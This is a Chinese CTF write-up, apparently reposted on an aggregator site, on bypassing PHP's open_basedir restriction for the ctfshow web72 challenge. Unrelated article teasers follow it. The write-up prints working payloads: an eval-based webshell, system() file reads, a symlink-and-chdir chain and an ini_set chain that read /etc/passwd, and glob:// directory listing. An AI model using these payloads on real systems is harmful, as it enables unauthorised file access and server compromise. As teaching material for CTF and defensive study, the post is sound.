绕过 open_basedir

目录

0x01 首先了解什么是 open_basedir

 0x02 通过命令执行绕过

0x03 通过symlink 绕过 (软连接)

0x04利用glob://绕过

方式1——DirectoryIterator+glob://

方式2——opendir()+readdir()+glob://

0x05  通过 ini_set和chdir来绕过


在ctfshow 72遇到的 open_basedir 所以进行学习

https://www.cnblogs.com/hookjoy/p/12846164.html#:~:text=%E5%8F%AA%E6%98%AF%E7%94%A8glob%3A,%E8%83%BD%E8%AF%BB%E5%8F%96%E6%96%87%E4%BB%B6%E5%86%85%E5%AE%B9%E3%80%82

 上面是师傅的文章

我就跟着复现一下

0x01 首先了解什么是 open_basedir

open_basedir是php.ini的设置

在open_basedir设置路径的话 那么网站访问的时候 无法访问除了设置以外的内容

 这里还有一个知识点

如果我们设置 open_basedir=/var/www/html那我们只能访问/var/www/html/index.php
/var/www/html/images/logo.png
/var/www/html/includes/config.php不能访问/var/www/otherfile.php(不在指定目录之下)
/var/www/html2/index.php(不是以指定路径为前缀)所以open_basedir并不是以目录名为 规定而是路径

我创建了一个test文件夹 存放着 1.php

 

 那我设置open_basedir 指定 test

open_basedir =D:\phpstudy_pro\WWW\test

那我们看看能不能访问1.php

 发现是ok的

那我们去访问一下 www的 flag.php呢

 发现阻止了 并且我们无法访问其他目录 例如 sqli-labs

 0x02 通过命令执行绕过

open_basedir对命令执行没有限制

假如没有进行过滤 那我们就可以通过system函数直接执行

我的1.php代码是

<?phpif(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}?>

没有过滤 而且通过post方式

c=show_source(__FILE__);system('type D:\phpstudy_pro\WWW\flag.php');

 成功绕过了 open_basedir

这里是适用于 没有对命令进行过滤

但是一般都难以使用 会被disable_functions 禁用

0x03 通过symlink 绕过 (软连接)

软连接我们在 ciscn的unzip有见识到就是linux的快捷方式我们可以通过软连接;链接其他文件 然后对其进行访问 

这里还需要介绍symlink()函数

symlink(链接的目标,链接的名称)

我们来尝试一下

<?php 
symlink("/root/.presage/","/root/桌面/exp");
?>

然后我们执行一下

php 2.php

发现真的生成了一个文件夹exp 并且就是指向了我们需要的目录

 这里我们开始复现师傅的内容

mkdir 
创建文件夹chdir
切换到某文件夹的工作区间

 

 假如我们在/var/www/html/的3.php处

<?php
mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
?>

执行

发现现在的路径变为了/var/www/html/A/B/C/D/

这个时候 我们已经进入了 D目录

我们需要退回 html界面就通过 ..即可

<?php
mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
?>

这个时候 就处于 var/www/html目录下

然后我们通过软连接链接 abcd

<?php
mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("A/B/C/D","7abc");
?>

 这个时候 我们再建立

symlink("7abc/../../../../etc/passwd","exp");

的链接

但是这个我们是无法建立的 因为不存在这种软连接

但是我们只需要 删除 7abc的软连接 然后创建一个 7abc的文件夹

那么这样 就是

目录的7abc/../../../etc/passwd

这样就不会访问快捷方式的 而是当前目录的 然后访问exp

 发现就是passwd里的内容了

 这样我们就打破了 open_basedir的限制 访问了其他目录的内容

<?php
mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("A/B/C/D","7abc");
symlink("7abc/../../../../etc/passwd","exp");
unlink("7abc");
mkdir("7abc");
?>

这里payload的重点就是

我们想要跨越多少层就需要建立多少层的 目录然后通过软连接删除 生成文件夹 然后就可以通过当前文件夹 链接到该去的地方

0x04利用glob://绕过

照常 首先看看什么是 glob://协议

glob://协议 就是查找文件路径的模式是从 5.3开始使用的协议

利用师傅的 内容进行修改

<?php
$it = new DirectoryIterator("glob:///var/www/html/*.php");
foreach($it as $f) {printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
%s:字符串
%.1F 一位小数
%K 单位}
?>

打印一下 var/www/html的内容

发现生效了

 但是如果只是单用 glob://无法绕过的

所以我们需要结合其他函数

方式1——DirectoryIterator+glob://

DirectoryIterator
就是一个接口 用户可以简单轻松的查看目录
<?php
$c=$_GET[c];
$a=new DirectoryIterator($c);
foreach($a as $f){echo($f->__toString().'<br>');
}
?>

然后我们输入 glob:///* 就可以列出根目录

但是 使用这个方法只能访问根目录和open_basedir受限的目录

所以对于 ctfshow web72 也可以使用这个方法访问根目录

c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){echo($f->__toString().'<br>');
}exit();
?>

 得到了flag的地址

回到这里

那我们就应该使用另一个方法

方式2——opendir()+readdir()+glob://

opendir()打开目录句柄readdir() 读取目录
<?php
$a = $_GET['c'];
if ( $b = opendir($a) ) {while ( ($file = readdir($b)) !== false ) {echo $file."<br>";}closedir($b);
}
?>

这里对于web72也可以使用

c=?><?php if ( $b = opendir("glob:///*") ) {while ( ($file = readdir($b)) !== false ) { echo $file."<br>";}closedir($b);}exit();

 

 效果和 DirectoryIterator一样

只能根目录和限定目录

0x05  通过 ini_set和chdir来绕过

<?php
echo 'open_basedir: '.ini_get('open_basedir').'<br>';
echo 'GET: '.$_GET['c'].'<br>';
eval($_GET['c']);
echo 'open_basedir: '.ini_get('open_basedir');
?>

通过相对路径

mkdir('mi1k7ea');chdir('mi1k7ea');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/etc/passwd');

首先我们创建一个可以上下跳的目录

/var/www/html创建 mi1k7ea /var/www/html/mi1k7ea切换到当前目录 通过 chdir然后ini_set 设置 open_basedir为 ..那么这个时候 php.ini里的内容就为 ..
那我们进行切换工作目录chdir .. 返回上一个目录 即/var/www/html通过 open_basedir的比对 符合.. 那么就可以访问我们再来一次/var/www/var/
最后到/ 了 但是我们无法通过 / 去访问 因为 / != ..这个时候 我们再来一次 ini_set  设置为 / 这个时候 我们就可以访问 / 下的任何内容了
这里有一个需要注意如果我们的php文件在根目录即/var/www/html/那么就需要创建一个 目录来进行设置
即mkdir("123");chdir("123");ini_set("open_basedir","..");如果我们不在根目录 
即/var/www/html/test/并且open_basedir为 /var/www/html/那么我们就不需要再创建一个目录来设置直接在test上操作即可即 ini_set("open_basedir","..");chdir("..");

到此 差不多就结束了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/33467.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Centos Linux快速复制文件并查看进度的方法(保留文件原始时间戳等属性)

用cp命令保证快速复制&#xff0c;screen保证不丢失你对cp命令执行情况的掌控。 需要用到screen软件包&#xff0c;防止复制过程中终端被关闭。 centos linux直到7默认都没有screen&#xff0c;需要安装一下 普通账户&#xff1a; sudo yum -y install screen root账户&am…

如何在 .NET Core WebApi 中处理 MultipartFormDataContent 中的文件

问题描述# 上图示例展示了用户通过 IOS 客户端发送请求时&#xff0c;对应后端接口接收到的 Request 内容。从请求内容的整体结果&#xff0c;我们可以看出这是一个 multipart/form-data 的数据格式&#xff0c;由于这种数据是由多个 multipart section 组成&#xff0c;所以我…

LVS/DR+Keepalived负载均衡实战(一)

引言 负载均衡这个概念对于一个IT老鸟来说再也熟悉不过了&#xff0c;当听到此概念的第一反应是想到举世闻名的nginx&#xff0c;但殊不知还有一个大名鼎鼎的负载均衡方案可能被忽略了&#xff0c;因为对于一般系统来说&#xff0c;很多应用场合中采用nginx基本已经满足需求&a…

智能优化算法:猎豹优化算法-附代码

智能优化算法&#xff1a;猎豹优化算法 文章目录 智能优化算法&#xff1a;猎豹优化算法1.猎豹优化算法1.1 初始化1.2 搜索策略1.3坐等策略1.4攻击策略 2.实验结果3.参考文献4.Matlab5.python 摘要&#xff1a;CO算法是Mohammad AminAkbari等人于2022年受自然界猎豹狩猎启发而提…

ChatGpt提示词大全

行为 提示词 Linux终端 我希望你能充当一个linux终端。我将输入命令,你会回复终端应该显示什么。我想让你只回复在一个唯一的代码块内的终端输出,而没有别的。不要写一些解释。不要键入命令,除非我指示你这样做。当我需要用英语告诉你一些东西时,我会把文本放在大括号内{就…

Android之消除APP图标的白色边框

有问题的效果&#xff1a; 解决方案&#xff1a; 第一步&#xff1a;app右键—>new—>Image Asset 第二步&#xff1a;上传Logo图标&#xff0c;选择每种分辨率&#xff0c;预览看效果&#xff0c;选择Resize&#xff0c;可以微调 第三步&#xff1a;点击 Next&#xff…

OptaPlanner笔记2

1.5.3 使用maven 修改pom.xml 导入optaplanner-bom以避免为每一个依赖项重复添加版本号 <project>...<dependencyManagement><dependencies><dependency><groupId>org.optaplanner</groupId><artifactId>optaplanner-bom</art…

【Tomcat】tomcat的多实例和动静分离

多实例&#xff1a; 在一台服务器上有多台Tomcat&#xff1b;就算是多实例 安装telnet服务&#xff0c;可以用来测试端口通信是否正常 yum -y install telnettelnet 192.168.220.112 80 tomcat的日志文件 cd /usr/local/tomcat/logsvim catalina.out Tomcat多实例部署&…

一台阿里云服务器怎么部署多个网站?以CentOS系统为例

本文阿里云百科介绍如何在CentOS 7系统的ECS实例上使用Nginx搭建多个Web站点。本教程适用于熟悉Linux操作系统&#xff0c;希望合理利用资源、统一管理站点以提高运维效率的用户。比如&#xff0c;您可以在一台云服务器上配置多个不同分类的博客平台或者搭建多个Web站点实现复杂…

页面的滚动及scrollIntoView的穿透效果和解决

朋友今天遇到一个奇怪的问题&#xff0c;我觉得很有意思就记录一下。现象是这样的&#xff0c;页面有一个按钮&#xff0c;点击按钮以后会请求一个接口拿到一个iframe的地址然后创建一个iframe并渲染到页面上&#xff0c;iframe的页面加载完毕后会滑动到对应的某一个元素的位置…

Elastic Stack 8.9:更快的跨集群搜索和指标聚合

作者&#xff1a;Tyler Perkins, Gilad Gal, Teresa Soler, Shani Sagiv, Bernhard Suhm, George Kobar Elastic Stack 8.9 在多个方面实现了显着的性能改进&#xff1a;Kibana 中更快的跨集群搜索、Elasticsearch 更快的聚合&#xff0c;以及更快、更相关的向量搜索&#xff0…

Android apktool反编译工具

使用下面的命令反编译apk&#xff1a; java -jar apktool_2.7.0.jar d test.apk -o testDir 如果不涉及资源文件的修改&#xff0c;所以加上-r参数不会反编译资源文件 java -jar apktool_2.7.0.jar -r d test.apk -o testDir 修改完成后使用下面的命令回编译&#xff1a; j…

Linux下快速创建大文件的4种方法总结

1、使用 dd 命令创建大文件 dd 命令用于复制和转换文件&#xff0c;它最常见的用途是创建实时 Linux USB。dd 命令是实际写入硬盘&#xff0c;文件产生的速度取决于硬盘的读写速度&#xff0c;根据文件的大小&#xff0c;该命令将需要一些时间才能完成。 假设我们要创建一个名…

【云原生】kubernetes在Pod中init容器的作用和使用

目录 Pod 中 init 容器 1 init 容器特点 2 使用 init 容器 Pod 中 init 容器 Init 容器是一种特殊容器&#xff0c;在Pod 内的应用容器启动之前运行。Init 容器可以包括一些应用镜像中不存在的实用工具和安装脚本。 1 init 容器特点 init 容器与普通的容器非常像&#xf…

自动化测试:你根本不懂自动化测试的快乐

接触了不少同行&#xff0c;由于他们之前一直做手工测试&#xff0c;现在很迫切希望做自动化测试&#xff0c;其中不乏工作5年以上的人。 本人从事软件自动化测试已经近6年&#xff0c;从server端到web端&#xff0c;从API到mobile&#xff0c;切身体会到自动化带来的好处与痛楚…

CEC2013(MATLAB):遗传算法(Genetic Algorithm,GA)求解CEC2013的28个函数

一、遗传算法GA 遗传算法&#xff08;Genetic Algorithm&#xff0c;GA&#xff09;起源于对生物系统所进行的计算机模拟研究&#xff0c;是一种随机全局搜索优化方法&#xff0c;它模拟了自然选择和遗传中发生的复制、交叉(crossover)和变异(mutation)等现象&#xff0c;从任…

机动车号牌正则表达式(兼容新能源车牌)

说明&#xff1a;“|”前面面是绿牌车&#xff08;8位&#xff09;规则&#xff0c;“|”后面是蓝牌车&#xff08;7位&#xff09;规则。 ([京津沪渝冀豫云辽黑湘皖鲁新苏浙赣鄂桂甘晋蒙陕吉闽贵粤青藏川宁琼使领]A-Z)|(([京津沪渝冀豫云辽黑湘皖鲁新苏浙赣鄂桂甘晋蒙陕吉闽贵…

前端笔试题1

HTML/CSS 题1&#xff1a; 1&#xff0e;使用CSS 让该节点不可见&#xff0c;方法越多越好。 <div class"hidden">Hi</div> 使用CSS 让节点不可见的方法有以下几种&#xff1a; 把 visibility 属性设置为 hidden&#xff0c;这样元素框不会被绘制&…

CTFSHOW php命令执行

目录 web29 过滤flag web30 过滤system php web31 过滤 cat|sort|shell|\. 这里有一个新姿势 可以学习一下 web32 过滤 &#xff1b; . web33 web34 web35 web36 web37 data伪协议 web38 短开表达式 web39 web40 __FILE__命令的扩展 web41 web42 重定向…

SpringBoot自定义拦截器interceptor使用详解

Spring Boot拦截器Intercepter详解 Intercepter是由Spring提供的Intercepter拦截器&#xff0c;主要应用在日志记录、权限校验等安全管理方便。 使用过程 1.创建自定义拦截器&#xff0c;实现HandlerInterceptor接口,并按照要求重写指定方法 HandlerInterceptor接口源码&am…